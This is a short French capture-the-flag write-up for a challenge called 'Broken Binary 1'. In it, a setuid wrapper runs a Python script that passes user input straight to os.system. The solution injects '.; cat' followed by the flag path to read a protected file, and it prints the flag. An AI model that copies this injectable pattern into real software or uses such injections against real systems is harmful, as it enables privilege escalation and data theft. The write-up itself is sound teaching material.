Broken Binary 1
Catégorie: Système Difficulté: - Flag: CTFREI{fun_b1n4ry_3xpl0it}
Challenge
Description
Votre but est d'exploiter le binaire (en exécutant ./wrapper
). Le flag est situé ici: /home/r00t/flag/flag.txt
Connexion SSH: ssh [email protected] -p 4445
Mot de passe: jail
Ce challenge tourne sur un docker et n'est pas disponible
Solution
> ssh [email protected] -p 4445
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.1.0-17-cloud-amd64 x86_64)
jail@831d4ecbef1d:~$ ls -al
total 28
drwxr-xr-x 1 root root 4096 Apr 5 07:52 .
drwxr-xr-x 1 root root 4096 Apr 5 07:52 ..
-rwxr-xr-x 1 root root 123 Apr 2 12:38 chall.py
-rwsr-xr-x 1 r00t r00t 16056 Apr 5 07:52 wrapper
jail@831d4ecbef1d:~$ cat chall.py
#!/usr/bin/python3
import os
print("Rentre en input un directory que tu veux ls !")
s = input("ls ")
os.system(f'ls {s}')
Le binaire wrapper
a l'air de lancer le script chall.py
qui lui-même appelle la fonction os.system
. Notre input est directement passé à la fonction, on peut alors détourner l'appel en chaînant une seconde commande.
jail@831d4ecbef1d:~$ ./wrapper
Rentre en input un directory que tu veux ls !
ls .; cat /home/r00t/flag/flag.txt
chall.py wrapper
CTFREI{fun_b1n4ry_3xpl0it}
Dernière mise à jour
Cet article vous a-t-il été utile ?